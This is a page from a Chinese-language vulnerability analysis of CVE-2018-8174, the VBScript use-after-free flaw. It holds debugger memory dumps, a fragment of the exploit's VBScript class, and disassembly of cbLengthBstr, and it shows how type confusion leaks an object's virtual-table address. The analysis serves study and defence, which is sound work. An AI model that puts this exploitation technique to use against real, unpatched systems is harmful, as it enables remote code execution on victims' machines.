CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
单纯看上面代码一头雾水,我们从内存中看:
//刚enter GetUint32时,003c7c7c地址是str_2空字符串地址
0:005> dd 003c7c7c
003c7c7c 00000002 0241cdc0 772c0003 0241d1f8 //772c0003mem地址
003c7c8c 0061e788 0241d038 00000000 08e9cd8e //0061e788是CScriptEntryPoint类对象地址
003c7c9c 80000000 688a0075 00000873 003c9188
003c7cac 00000000 003c7cf0 00000035 003fbc74
003c7cbc 003c7ccc 08e9cd85 80000000 0000007a
003c7ccc 00680063 00630065 0062006b 0078006f
003c7cdc 00000000 00000000 00000000 08e9cd80
003c7cec 80000000 688a0048 00000874 003c9188
//cla4_obj1.mem(spec_int_1+8)=addr+4
0:005> dd 003c7c7c
003c7c7c 00000002 0241cdc0 772c0003 0241d1f8
003c7c8c 0061e78c 0241d038 00000000 08e9cd8e //0061e788---> 0061e78c003c7c9c 80000000 688a0075 00000873 003c9188
003c7cac 00000000 003c7cf0 00000035 003fbc74
003c7cbc 003c7ccc 08e9cd85 80000000 0000007a
003c7ccc 00680063 00630065 0062006b 0078006f
003c7cdc 00000000 00000000 00000000 08e9cd80
003c7cec 80000000 688a0048 00000874 003c9188
// cla4_obj1.mem(spec_int_1)=8
0:005> dd 003c7c7c
003c7c7c 772c0002 0241d1f8 02440008 0241d038 //类型0x03vbLong-->0x08vbString003c7c8c 0061e78c 0241d038 00000000 08e9cd8e
003c7c9c 80000000 688a0075 00000873 003c9188
003c7cac 00000000 003c7cf0 00000035 003fbc74
003c7cbc 003c7ccc 08e9cd85 80000000 0000007a
003c7ccc 00680063 00630065 0062006b 0078006f
003c7cdc 00000000 00000000 00000000 08e9cd80
003c7cec 80000000 688a0048 00000874 003c9188
然后 value=cla4_obj1.P0123456789 这一步,先说结论,最终返回的是 CScriptEntryPoint类对象的虚函数表地址 为什么? 看一下 cla4_obj1.P0123456789 的实现逻辑:
Class cla5
Dim mem
Function P0123456789
P0123456789=LenB(mem(spec_int_1+8))
End Function
Function SPP
End Function
End Class
LenB 在 VBscript.dll 中调用的是 cbLengthBstr,下面是它的代码
.text:6E4F38C2 ; unsigned __int32 __stdcall cbLengthBstr(unsigned __int16 *)
.text:6E4F38C2 ?cbLengthBstr@@YGKPAG@Z proc near ; CODE XREF: rtConcatBstr(ushort *,ushort *)+C p
.text:6E4F38C2 ; rtConcatBstr(ushort *,ushort *)+16 p ...
.text:6E4F38C2
.text:6E4F38C2 arg_0 = dword ptr 8
.text:6E4F38C2
.text:6E4F38C2 mov edi, edi
.text:6E4F38** push ebp
.text:6E4F38C5 mov ebp, esp
.text:6E4F38C7 mov eax, [ebp+arg_0]
.text:6E4F38CA test eax, eax
.text:6E4F38CC jz short loc_6E4F38D1
.text:6E4F38CE mov eax, [eax-4] //这一步是重点
.text:6E4F38D1
.text:6E4F38D1 loc_6E4F38D1: ; CODE XREF: cbLengthBstr(ushort *)+A j
.text:6E4F38D1 pop ebp
.text:6E4F38D2 retn 4
.text:6E4F38D2 ?cbLengthBstr@@YGKPAG@Z endp
CScriptEntryPoint 对象地址是 0061e788,对象地址+4仍然存放在这里就是0061e78c ,代码更改了它的类型为vbstring,那么这个值就变成了 BSTR 字符串指针 ,然后使用LenB求它的长度;
但是在 cbLengthBstr 内部的执行是将mov eax, [eax-4], 这是因为正常的 BSTR 字符串的结构是:前四个字节保存的是字符串长度,在字符串结尾以字符0识别,BSTR**** 。
但是我们这个原本不是 BSTR 字符串类型,当[eax-4] 的时候得到仍然是类对象地址中的内容;
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页